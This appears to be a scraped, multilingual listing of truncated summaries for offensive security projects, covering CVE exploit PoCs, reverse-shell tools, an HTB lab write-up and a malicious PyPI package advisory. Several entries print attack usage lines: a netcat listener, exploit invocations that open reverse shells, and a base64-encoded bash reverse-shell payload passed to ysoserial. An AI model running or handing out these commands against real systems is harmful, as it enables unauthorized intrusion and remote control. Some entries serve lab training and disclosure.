Project-CVE-2026-50751

CVE-2026-50751 IKEv1 सुरक्षा परीक्षण विवरण यह Python स्क्रिप्ट एक आक्रामक सुरक्षा-परीक्षण फ्रेमवर्क है जिसे CVE-2026-50751 को लक्षित करने के लिए डिज़ाइन किया गया है, जो Check Point IKEv1 VPN प्रमाणीकरण-बायपास भेद्यता है। विशेषताएँ UDP पोर्ट 500 पर IKEv1 VPN सेवाओं के लिए IP पते स्कैन करता है Chec...

CVE-2023-38831_ReverseShell_Winrar

CVE-2023-38831 In questo caso, condivido i file necessari per sfruttare questa vulnerabilità in WinRAR, con la quale possiamo creare un PDF malintenzionato per ottenere una reverse shell verso la nostra macchina attaccante. ⚠️ NOTA: Questo contenuto è condiviso per scopi etici ed è stato creato pe...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 PoC reale Utilizzo Scarica bun https://github.com/oven-sh/bun/releases Avvia ngrok root@kitploit: ngrok tcp 4444 Mettiti in ascolto su localhost 4444 root@kitploit: nc -nvlp 4444 Esegui l'exploit root@kitploit: bun exploit-CVE-2023-22527.js...

SLAE

SecurityTube Linux Assembly Expert Questo post del blog è stato creato per soddisfare i requisiti della certificazione SecurityTube Linux Assembly Expert: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ ID studente: SLAE-1134 Articoli Esercizio 1: Shell di bind...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Strumento Apache Shellshock per l'iniezione di comandi da remoto, per una reverse shell rapida e la navigazione nei file root@kitploit: Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3...

CVE-2024-50498

CVE-2024-50498 Descrizione La vulnerabilità di controllo improprio della generazione di codice 'Code Injection' in LUBUS WP Query Console consente l'iniezione di codice. Questo problema riguarda WP Query Console: da n/a fino alla 1.0. Configurare il listener Netcat: Apri un terminale sulla tua...

CVE-2025-46271-Reverse-Shell-PoC

CVE-2025-46271-Reverse-Shell-PoC Haftungsausschluss Dieses Repository dient ausschließlich zu Bildungszwecken. Die hier bereitgestellten Informationen sollen Entwicklern helfen, die Schwachstelle zu verstehen und ihre Systeme zu schützen. Nutzen Sie diesen Exploit nicht böswillig oder ohne...

CVE-2025-6002

Exploit per CVE-2025-6002 Questo script sfrutta la vulnerabilità di caricamento arbitrario di file autenticato in VirtueMart 4.4.10 CVE-2025-6002, descritta in questo post del blog: https://blog.blacklanternsecurity.com/p/doomla-zero-days Questo script effettua il login a VirtueMart con le...

CVE-2026-34197-Apache-ActiveMQ-RCE

Behebt das Problem, dass die Reverse-Shell fehlschlägt, weil der command nicht XML-escaped wurde...

htb-labs-connected

HTB: Connected - Scelta dello Staff English | Español 📋 Indice 1. Enumerazione 2. Sfruttamento - CVE-2025-57819 3. Reverse Shell 4. Escalation dei Privilegi 5. Flag 6. Struttura del Repository 7. Script e Strumenti Utilizzati 8. Riepilogo dell'Attacco 9. Risorse e Crediti 10. Note Aggiuntive 1...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 reverse shell IP locale: 172.16.38.1 Weblogic: 172.16.38.174:7001 1. Esecuzione locale java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' Quindi...

MAL-2026-14587 Malicious code in pygame-renderkit (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fdef1a055b3059d56581d5c0d33538e7799cfde5e42d596eb50094d06d984f54 setup.py registers a custom install command that forks a daemonized child during pip install and executes a base64-encoded Python payload via...

Malicious code in pygame-renderkit (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fdef1a055b3059d56581d5c0d33538e7799cfde5e42d596eb50094d06d984f54 setup.py registers a custom install command that forks a daemonized child during pip install and executes a base64-encoded Python payload via...

cisco-rv-rce-poc

CVE-2023-20048 — PoC & Exploit per serie Cisco RV ⚠ AVVERTENZA: Solo per test autorizzati. Non utilizzare su sistemi di cui non sei proprietario o per i quali non hai autorizzazione scritta. Questo è un Proof of Concept per test autorizzati. Cos'è Piccolo repository con: CiscoPoc.py — PoC innocuo...

CVE-2017-12149

CVE-2017-12149 CVE-2017-12149 JBOSS as 6.X Deserialisierung Reverse-Shell-Version Basierend auf der Befehlszeilenversion des Autors in eine GUI-Oberfläche umgeschrieben Details:http://www.cnblogs.com/sevck/p/7874438.html...

CVE-2020-5902-rce-gui

CVE-2020-5902-RCE-Big-Exploit-Tool GUI-Version v1.0 Anweisungen zur Nutzung des Tools Bei der Befehlsausführung: Wenn die erste Ausführung fehlschlägt, führen Sie ihn mehrmals aus. Massenhafte Zieladressen-Erkennung Reverse Shell ausführen Einzelne Zieladressen-Erkennung Datei-Upload...

CVE-2020-14882_Exploit_Gui

CVE-2020-14882ExploitGui Lo strumento deve essere utilizzato solo in stato autorizzato. In caso di reati penali, gli attacchi non autorizzati non sono di mia responsabilità. Si prega di essere ben informati sulla 《网络安全法》 Durante un'attività di ricognizione, ho incontrato 14882 e non ho trovato un...

offsec-karaf-exploits

offsec-karaf-exploits Verwendung: root@kitploit: python exploit.py --help Beispiel: root@kitploit: python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf Payload neu erstellen Felix Framework einrichten 1. Erstelle das lib-Verzeichnis...

Gopherus

Gopherus Se conosci un luogo vulnerabile a SSRF, questo strumento ti aiuterà a generare payload Gopher per sfruttare SSRF Server Side Request Forgery e ottenere RCE Remote Code Execution. Ti aiuterà anche a ottenere una reverse shell sul server vittima. E per maggiori informazioni puoi consultare...